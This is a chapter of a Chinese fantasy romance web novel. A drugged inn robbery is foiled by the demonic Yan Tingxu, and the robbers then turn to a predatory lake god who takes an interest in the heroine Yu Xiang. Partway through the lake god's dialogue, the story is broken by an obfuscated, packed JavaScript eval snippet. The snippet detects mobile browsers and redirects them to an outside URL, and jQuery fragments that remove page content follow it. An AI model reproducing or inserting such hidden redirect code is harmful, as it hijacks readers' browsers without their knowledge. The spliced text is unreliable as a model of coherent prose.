“阿虞。”断萤气若游丝的喊了一声虞想便进入她的识海中。虞想不知断萤遇到了什么竟然变成这样一副虚弱的模样,连忙问它发生了什么。
“阿虞,外面有好多坏人。”断萤断断续续的说了自己这段时间离开虞想后发生的一切,还特意强调了它差点被抓去炼丹的经历,提醒虞想一定要小心不要被骗!因为它就是被看起来受伤的老爷爷骗到坏人那里去的。
虞想对它这一番控诉搞的哭笑不得,只好在脑海中哄它,让它学会吃一堑长一智,以后再遇到这种情况别那样莽撞,先观察一下再做决定。
断萤委委屈屈的说完后直接在虞想的识海中修养,虞想也就不再打扰它。
雁亭序似是知道断萤的存在,也没有询问她,两人在街上一边走一边逛,遇到喜欢的雁亭序便随手扔块金子买下引得街上行人频频侧目。
雁亭序毫不顾忌大大咧咧的带着虞想来到客栈要了两间上房。
虞想坐在凳子上捶着酸软的小腿,等着店小二给她送上热水。
“姑娘,热水已经备好,需要抬进来吗?”虞想听见外面的声响赶紧穿上鞋子一蹦一跳地来到门前。这几天运动量过多,导致她这两条腿酸痛不已,得好好休息一番。
她拉开门扉让店小二把热水抬进来,待人走后才合上门栓褪掉衣服沉入浴桶。暖洋洋的温度充斥着全身,虞想顿时感觉自己就像是活过来一般,连腿上的酸痛都好像消减了不少。
待到水温逐渐变凉,虞想连忙从里面出来,裹上里衣往被窝钻去,傍晚她同雁亭序在外面逛的时候已经吃了许多小点心,现在一点也不饿反而十分困倦,不出片刻就已经沉入梦乡。
在她睡着后,外面鬼鬼祟祟的来了几个壮汉,他们将纸窗抠开个小洞,随后缓缓吹进一股迷烟,紧接着他们去到旁边雁亭序的房间又吹了一次。
几人颇为耐心的等了半刻钟觉得时间差不多了,便悄悄破开雁亭序的房门。他们可是瞧见了这小子今日在街上出手阔绰,肯定是个有钱人家的富贵公子,若是将他抢了,那他们就赚大了。
他们见房间里静悄悄的,应该是人已经被他们用药迷倒了,胆子不由得大了几分,径直往房间里搜去,只听一声惨叫的哀嚎,最前方的那人竟然双手不受控地往后弯曲,像是要被人折断一般。
紧接着那人身子从地面缓缓上升半飘在空中,登时后面那几人腿都吓软了,扑腾一声跪在地上,还有些胆子大的能站住,可细看之下那人腿也是在哆哆嗦嗦打摆子,也是吓的。
雁亭序的身形自黑暗中寸寸现出,他嗤笑一声,像是对这些胆大包天想来打劫他的人的羞辱。
他指尖轻抬,那几人便吊在半空,顿时哭嚎求饶声不绝,更有甚者直接从两腿间滴落淡黄色不明液体,惹得他更加厌烦。
他二话不说,就要将几人捏爆,就在他下手的前一秒,虞想拢着衣衫出现在房门前打断他的动作,“雁亭序。”
她喊了他一声,打断了他的动作。雁亭序闻言看他一眼,不明白她为什么现在喊他的名字。
虞想刚开始打断他的勇气已然在那不咸不淡的一眼后消失了一半,她看了在半空中瑟瑟发抖的几人,接着道:“你看,今晚的月亮真圆,我是说十五不宜杀生。”
雁亭序果真抬头看了眼门外撒着银辉的圆月,清凌凌的立在漆黑的天际,普照世间万物。
月色确实美丽,雁亭序收了魔气,几名土匪登时从半空掉落砸在地上,将桌椅砸的七零八碎,“今天心情好,便先饶了你们几个,要是再有下一次,你们就直接等死吧。”
土匪们见状连忙跪在地上磕头,将头磕得砰砰作响,“我们再也不敢了,多谢大侠手下留情,多谢大侠手下留情。”
“滚吧。”
那几人连滚带爬的从客栈跑出去,就怕雁亭序反悔。
虞想其实在那几人吹迷烟的时候就已经察觉到不对劲,平时她再困也不会出现脑袋困得要发晕的感觉,联想到雁亭序今天在街上花钱大手大脚的行为就知道他们应该是被人盯上了。
她索性将计就计,把头埋进被子里,减少迷药的吸入量,静静等着那些人的动作,不料那些人并没有来她这里,反而先去了雁亭序的房间,她这才有机会打开门窗透气,顺便找机会救一下那几个土匪。
这倒不是她圣母,若是那些人是穷凶极恶之人便不可能只给他们放点迷药这样简单,这些人明显不是,他们连刀跟匕首都没带,只想用点迷药将人迷晕再把钱抢了。
这些人罪不至死,所以虞想才跑过来尝试着阻止雁亭序,本来她就抱着试试看的态度,没想到雁亭序当真放了几人一条生路。
房间里一片狼藉,桌子椅子被砸的粉碎,地上还有一两滩不明液体。雁亭序正在心头懊恼刚才怎么就听了虞想的话就把人放了,他多没面子。因此在虞想示好的情况下,他自然而然地跟着她来到她的房间。
两间上房的布置其实差别并不大,但是雁亭序总感觉虞想这间房间更为精致一些,房间里只有一张床,两人折腾了半宿虞想现在已经是困得不行,连忙爬上床准备歇息。
雁亭序不想在她面前再落了面子,面不改色的解着衣袍,脱掉外衫后也上了台。虞想迷迷糊糊知道雁亭序也上来了,不过这么些日子雁亭序都没有表现出对她有什么想法,想必是对她不感兴趣,所以她就任由困意纠缠,沉沉睡去。
雁亭序刚掀起被子的一角,就觉得有一股香气钻到鼻尖,像是一只色彩斑斓的蝴蝶轻轻挠着他的心尖。他说不上来那是什么味道,只觉得怪好闻的。
被子合上,他仰躺在床侧,左手枕在脑后,他没有半点睡意,在那股香气的包裹下只觉得心脏像是泡在了蜜罐里,咕噜噜的冒着泡,待到沸腾到极致,这些小泡泡便在他的耳边砰砰炸响,雁亭序细细体会才知道那是他的心跳声。
他下意识想听虞想说点什么,不论什么也好,可身侧的人早已去会周公了,耳边只剩下她匀称安详的呼吸声。
在这样规律的呼吸声下,雁亭序缓缓阖上眼睛也进入梦乡。
翠湖是云城外有名的湖泊,景色优美,里面种着荷花,夏风过境带起荷叶轻盈的舞步,荷花隐隐作唱,将缕缕荷香送入云城。
如此美妙的夜景却被几声沉重的喘气声打破,那些土匪从客栈逃出来后便直奔翠湖边,待到进入一方不起眼的凉亭内,他们扑通一声跪在地上,双手合十祈求道:“湖神大人,求求你救救我们吧。”
他们将身上带着的发簪玉钗扔进湖面,湖面像是一张会呼吸的嘴,涌出一个个漩涡将这些金银珠宝吸入水里。
片刻后,湖面突然涌出一股白烟,紧接着一个模糊的人形便若隐若现出现在众人视线里,那身影飘渺如烟又带着几分不似凡物的仙气,像是一位不食人间烟火的仙人应召而来。众人见到湖神显形大喜过望,连忙磕头表示对他的尊敬。
“你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301784|198664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将我召来所为何事?”白烟内传来渺茫的声音,声音一层叠过一层,递到土匪们的耳边,里面的大哥率先出声:“湖神大人,求求你救救我们,我们今天可是碰上硬茬了。”他将今晚遇到一名厉害的黑衣少年的事情告诉湖神,着重强调了那人会些妖术还有添油加醋的说他不敬重湖神,不肯孝敬他云云。
令他们奇怪的是湖神并没有被他们慷慨激昂的指责所生气,但是却给了他们一把匕首,说用它便可化解。待说完后,他便像刚开始那样化作一缕白烟四溢在湖面上,了无踪影。
土匪们得到这样一件好宝物立马高兴起来,再也不见先前卑躬屈膝的模样,他们兴奋的打量着手上这把匕首,嘴里却恶毒的商讨着该如何将那少年千刀万剐。
晨光熹微,东边天际的朝霞逐渐往上攀延,企图再看一眼遥远的月亮。
虞想缓缓睁开双眼便看到对面的雁亭序正安静的躺在她的身侧,纤细的睫毛如同一把小扇子在眼底洒下一片阴影,遮住了那双锐利的眼睛,让他整个人看起来乖巧许多。
虞想悄悄掠过他下床洗漱,待到整理好发髻后便一人来到大堂用早膳。土匪们一早便来蹲守了,现在见她一个人在这里随即兵分两路,大哥拿着匕首带着一些小弟上去解决掉黑衣少年,其余人便抓住这个小姑娘。
他们刚要行动便被身后跟来的湖神一个定身术定在原地。湖神悄无声息在大堂里现身,化身一名青衣男子,手里晃着把折扇,便往虞想的所在的位置走去。
“姑娘,是一个人吗?”湖神云深摇摇折扇对虞想开口问道。
虞想看着眼前这个还算俊秀的青年,摇摇头,“不是,我的同伴还没有过来。”
“那这人可是姑娘的伴侣?”他自然而然的坐在虞想身侧,凑近问道。
虞想被他这突如其来的动作吓了一跳,这般毫无边界感的动作与话语让她隐隐有些不悦,更何况这个人给她的感觉就不好,看人总是带着几分阴冷的感觉。
她放下手中的早食,礼貌告别道:“我还有事,先告辞了。”
说罢便往楼上跑去,想要找雁亭序。
大反派虽是书中反派却没有像这人一样给她一种不适的感觉,仿佛被他缠上就像是被水草缠住脚踝想动都动不了。
云深望着虞想翩跹的衣摆扬声追问道:“既然姑娘没有伴侣,那云某可否能成为姑娘的命定之人?”
虞想不想搭理他,连忙向上跑去,一溜烟儿便没了踪迹。
水妖见人都消失不见了才收回恋恋不舍的视线,好久没有遇上一个顺眼的可人儿了,可不能让她跑了!云深缓缓露出一抹笑意。
在看到一旁被下了定身术的土匪们后,他脸上的笑意逐渐消失,眼神也变得冰冷起来,倒是像极了土匪们在云雾中窥视到的湖神。
他伸手打了个响指,土匪们便跟在他的身后接连出了客栈来到一条小巷子里。
“刚才你们想对她做什么?”土匪们听到这句毫无感情的询问冷汗刷的一下就流了下来,他们连连摇头,表示并没有想做什么。
云深以询问的姿态却并没有给他们回答的机会,他兀自摇头,像是对他们的回答不满,又像是在自言自语,“要怪就只能怪你们动错了人,像她那样的可人儿,你们也配?”
咀嚼声在小巷中接连传来,日光渐渐涌上小巷的墙头,隐约照到一点张牙舞爪的影子,细看之下又好似什么也没有,毕竟巷子里空无一人。